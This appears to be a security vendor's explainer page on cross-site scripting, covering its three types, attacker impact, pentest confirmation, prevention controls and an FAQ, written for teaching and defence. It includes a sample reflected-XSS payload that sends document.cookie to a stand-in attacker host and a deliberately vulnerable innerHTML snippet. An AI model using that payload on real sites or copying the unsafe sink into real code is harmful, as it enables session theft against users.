Cross-Site Scripting (XSS): When Your Page Runs the Attacker's Code
How reflected, stored and DOM-based XSS work, what an attacker can do with a working payload, and the output-encoding and CSP controls that stop it.
What Is Cross-Site Scripting (XSS)
Because the script runs on the vulnerable origin, the browser's same-origin policy treats it as trusted. It can read the page, call the application's APIs with the victim's session, and change what the user sees. XSS is a client-side injection: the server, a JavaScript framework or the browser DOM writes attacker data into a context where it is parsed as code.
The Three Types of XSS
Reflected XSS
The payload travels in the request (usually a URL parameter) and is echoed back in the immediate response. The attacker has to get the victim to open a crafted link.
GET /search?q=<script>fetch('https://attacker.example/c?'+document.cookie)</script>Stored (persistent) XSS
The payload is saved by the application, for example in a comment, a ticket, a product review or a user display name, and served to every user who views that content. No crafted link is needed, and admin panels that render user-submitted data are a frequent target.
DOM-based XSS
The vulnerable data flow happens entirely in client-side JavaScript. A source such as location.hash or postMessage data reaches a sink such as innerHTML, document.write or eval without sanitization. The server may never see the payload, which is why server-side scanners and WAFs often miss it.
// vulnerable sink
document.getElementById('msg').innerHTML = decodeURIComponent(location.hash.slice(1));
What an Attacker Can Do With XSS
- Session abuse: act as the victim by calling authenticated endpoints from their browser.
HttpOnlycookies block direct theft of the cookie value, but not requests made with it. - Credential capture: inject a fake login prompt on the real domain.
- Account takeover: change the account email or password through the application's own forms, often without needing the old password if the flow does not re-authenticate.
- Privilege escalation: stored XSS rendered in an admin console runs with administrator rights.
- Data exfiltration: read anything the DOM or same-origin APIs expose, including CSRF tokens and personal data.
Severity depends on context. A reflected XSS on a static marketing page with no session has little impact. The same bug on an authenticated banking or admin domain is critical.
How Penetration Testers Confirm XSS
- Map reflection points: inject a unique marker string and find every place it appears in the response or DOM, including attributes, script blocks, JSON and URLs.
- Identify the context: HTML body, attribute value, JavaScript string, URL, or CSS. Each context needs a different breakout and a different encoding fix.
- Bypass filters: test event handlers (
onerror,onfocus), alternate tags (<svg>,<img>), encoding and case variations against any sanitizer or WAF. - Prove execution: a payload that executes a harmless call such as
alert(document.domain)or a request to a tester-controlled host confirms the domain the code runs on. - Prove impact: for high-severity findings, show an authenticated action performed through the payload, without touching real user data.
DOM XSS requires instrumenting the client: tracing sources to sinks in the browser rather than reading server responses. This is one reason DAST tools that do not execute JavaScript under-report it.
Prevention
| Control | Role |
|---|---|
| Context-aware output encoding | Primary defense. Encode for the exact context (HTML entity, attribute, JavaScript, URL). Modern templating engines auto-escape HTML by default. |
| Avoid dangerous sinks | Use textContent instead of innerHTML; avoid eval, document.write and framework escape hatches such as React's dangerouslySetInnerHTML with untrusted data. |
| HTML sanitization | When rich HTML must be accepted, sanitize with a maintained allowlist sanitizer such as DOMPurify. |
| Content Security Policy (CSP) | Defense in depth. A strict nonce- or hash-based CSP blocks inline and injected scripts even if encoding fails. |
| Trusted Types | Browser API that forces DOM sinks to accept only typed, sanitized values, reducing DOM XSS. |
| HttpOnly and SameSite cookies | Limit cookie theft and some cross-site abuse; they reduce impact but do not prevent XSS. |
Standards Mapping
| Framework | Reference |
|---|---|
| CWE | CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') |
| OWASP Top 10 (2025) | A05:2025 Injection |
| OWASP ASVS | Output encoding and injection prevention requirements |
| MITRE ATT&CK | T1189 Drive-by Compromise (when XSS is used to deliver content to visiting users) |
How FireCompass Tests for XSS
FireCompass AI agents crawl and execute web applications in a browser context, follow client-side data flows, and confirm XSS by proving script execution on the target domain. Findings include the vulnerable parameter or source, the payload, and the evidence needed to reproduce it, so stored and DOM-based issues are not reported as unconfirmed guesses. See web application penetration testing.
Sources and Standards
- MITRE CWE-79: Improper Neutralization of Input During Web Page Generation
- OWASP Top 10:2025, A05 Injection
- OWASP Cross Site Scripting Prevention Cheat Sheet
- OWASP DOM based XSS Prevention Cheat Sheet
- MDN Web Docs: Content Security Policy (CSP)
Frequently Asked Questions
What are the three types of XSS?
Reflected XSS, where the payload is echoed from the request; stored XSS, where the payload is saved and served to other users; and DOM-based XSS, where client-side JavaScript moves untrusted data into an executable sink.
Does HttpOnly stop XSS?
No. HttpOnly prevents JavaScript from reading the cookie value, but injected script can still send authenticated requests with the cookie attached and act as the user.
Does a Content Security Policy prevent XSS?
A strict CSP can block injected scripts from executing, which greatly reduces impact. It is a second layer; the underlying encoding bug should still be fixed.
Which CWE is XSS?
CWE-79, Improper Neutralization of Input During Web Page Generation.
Is XSS still in the OWASP Top 10?
Yes. In the OWASP Top 10:2025, cross-site scripting is part of A05:2025 Injection.
Why do scanners miss DOM-based XSS?
The vulnerable flow runs in the browser and the payload may never reach the server, so tools that only analyze HTTP responses without executing JavaScript cannot observe it.
Further Reading
- Web Application Penetration Testing in 2026: A Practical Guide for CISOs
- Old Web Bugs, New Blast Radius: What Vegas 2026 Means for API Testing
Related Terms
Find the XSS Your Scanner Did Not Execute
Run a free AI pentest against your web app and get confirmed XSS findings with proof of script execution on your domain.
Free AI Pen TestNo credit card. Findings include reproducible steps and exploit code.
